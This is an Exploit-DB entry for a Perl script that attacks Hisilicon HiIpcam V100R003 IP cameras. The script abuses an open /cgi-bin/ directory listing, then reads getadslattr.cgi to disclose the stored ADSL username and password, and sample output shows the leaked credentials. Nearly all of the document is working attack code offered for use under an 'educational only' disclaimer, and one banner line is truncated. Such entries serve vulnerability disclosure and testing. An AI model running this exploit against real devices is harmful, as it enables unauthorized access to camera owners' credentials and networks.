Hisilicon Hilpcam V100R003 Remote ADSL - Credentials Disclosure

EDB-ID:
47405

CVE:
N/A

EDB Verified: ×

Author:
TODOR DONEV

Type:
REMOTE

Exploit: / {}

Platform:
HARDWARE

Date:
2019-09-23

Vulnerable App:

```
#!/usr/bin/perl -w
#
#  Hisilicon HiIpcam V100R003 Remote ADSL Credentials Disclosure
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#
#   #  [
#   #  [ Hisilicon HiIpcam V100R003 Remote ADSL Credentials Disclosure
#   #  [ ============================================================
#   #  [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com>
#   #  [
#   #  [  Disclaimer:
#   #  [  This or previous programs are for Educational purpose
#   #  [  ONLY. Do not use it without permission. The usual
#   #  [  disclaimer applies, especially the fact that Todor Donev
#   #  [  is not liable for any damages caused by direct or
#   #  [  indirect use of the  information or functionality provided
#   #  [  by these programs. The author or any Internet provider
#   #  [  bears NO responsibility for content or misuse of these
#   #  [  programs or any derivatives thereof. By using these programs
#   #  [  you accept the fact that any damage (dataloss, system crash,
#   #  [  system compromise, etc.) caused by the use  of these programs
#   #  [  are not Todor Donev's responsibility.
#   #  [
#   #  [ Use them at your own risk!
#   #  [
#   #  [ Initializing the browser
#   #  [ Server: thttpd/2.25b 29dec2003
#   #  [ The target is vulnerable
#   #  [
#   #  [ Directory Traversal
#   #  [
#   #  [ /cgi-bin/..
#   #  [ /cgi-bin/adsl_init.cgi
#   #  [ /cgi-bin/chkwifi.cgi
#   #  [ /cgi-bin/ddns_start.cgi
#   #  [ /cgi-bin/getadslattr.cgi
#   #  [ /cgi-bin/getddnsattr.cgi
#   #  [ /cgi-bin/getinetattr.cgi
#   #  [ /cgi-bin/getinterip.cgi
#   #  [ /cgi-bin/getnettype.cgi
#   #  [ /cgi-bin/getupnp.cgi
#   #  [ /cgi-bin/getwifi.cgi
#   #  [ /cgi-bin/getwifiattr.cgi
#   #  [ /cgi-bin/ptzctrldown.cgi
#   #  [ /cgi-bin/ptzctrlleft.cgi
#   #  [ /cgi-bin/ptzctrlright.cgi
#   #  [ /cgi-bin/ptzctrlup.cgi
#   #  [ /cgi-bin/ptzctrlzoomin.cgi
#   #  [ /cgi-bin/ptzctrlzoomout.cgi
#   #  [ /cgi-bin/ser.cgi
#   #  [ /cgi-bin/setadslattr.cgi
#   #  [ /cgi-bin/setddnsattr.cgi
#   #  [ /cgi-bin/setinetattr.cgi
#   #  [ /cgi-bin/setwifiattr.cgi
#   #  [ /cgi-bin/testwifi.cgi
#   #  [ /cgi-bin/upnp_start.cgi
#   #  [ /cgi-bin/upnp_stop.cgi
#   #  [ /cgi-bin/wifi_start.cgi
#   #  [ /cgi-bin/wifi_stop.cgi
#   #  [
#   #  [ File Reading
#   #  [
#   #  [ var ip = "" ;
#   #  [ var adslenable = "" ;
#   #  [ var username = "hacker" ;
```

```
#   #  [ var password = "133337" ;
#   #  [ var dnsauto = "1" ;
#   #  [ var dns1 = "8.8.8.8" ;
#   #  [ var dns2 = "8.8.4.4" ;
#
#
use strict;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;
use HTML::TreeBuilder;
$| = 1;
my $host = shift || 'https://192.168.1.1/'; # Full path url to the store
print "\033[2J";    #clear the screen
print "\033[0;0H"; #jump to 0,0

my $banner =
"\x5b\x20\x0a\x5b\x20\x48\x69\x73\x69\x6c\x69\x63\x6f\x6e\x20\x48\x69\x49\x70

print $banner;

print "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~
m/^http/);
print "[ Initializing the browser\n";
my $user_agent = rand_ua("browsers");
my $browser  = LWP::UserAgent->new(protocols_allowed => ['http',
'https'],ssl_opts => { verify_hostname => 0 });
   $browser->timeout(30);
   $browser->agent($user_agent);
my $target = $host."/cgi-bin/";
my $request = HTTP::Request->new (GET => $target,[Content_Type =>
"application/x-www-form-urlencoded",Referer => $host]);
my $response = $browser->request($request) or die "[ Exploit Failed: $!";
print "[ 401 Unauthorized!\n" and exit if ($response->code eq '401');
print "[ Server: ", $response->header('Server'), "\n";
if (defined ($response->as_string()) && ($response->as_string() =~
m/<H2>Index of \/cgi-bin\/<\/H2>/)){
    print "[ The target is vulnerable\n";
    print "[\n[ Directory Traversal\n";
    my $tree = HTML::TreeBuilder->new_from_content($response->as_string());
    my @files = $tree->look_down(_tag => 'a');
    print "[ ", $_->attr('href'), "\n" for @files;
    my $target = $host."/cgi-bin/getadslattr.cgi";
    my $request = HTTP::Request->new (GET => $target,[Content_Type =>
"application/x-www-form-urlencoded",Referer => $host]);
    my $response = $browser->request($request) or die "[ Exploit Failed:
$!";
    print "[\n[ File Reading\n";
    print "[ ", $_, "\n" for split(/\n/,$response->content());

} else {
        print "[ Exploit failed! The target isn't vulnerable\n";
        exit;
}
```

Tags:

Advisory/Source: Link